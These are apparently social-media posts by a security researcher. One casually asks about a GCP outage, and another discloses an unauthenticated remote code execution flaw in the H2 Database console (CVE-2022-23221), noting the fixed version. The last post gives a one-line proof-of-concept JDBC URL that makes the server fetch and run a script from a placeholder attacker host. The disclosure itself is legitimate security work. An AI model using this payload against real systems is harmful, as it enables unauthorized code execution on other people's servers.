ismail

[ismail @d0nkey_man]

@radvadva @impost0r_ gcp is reporting no outage?

[ismail @d0nkey_man]

More details on PoC found here:

https://t.co/KLi7PFL7RR

[ismail @d0nkey_man]

Another unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221. Fixed in v2.1.210+. PoC: jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql';'\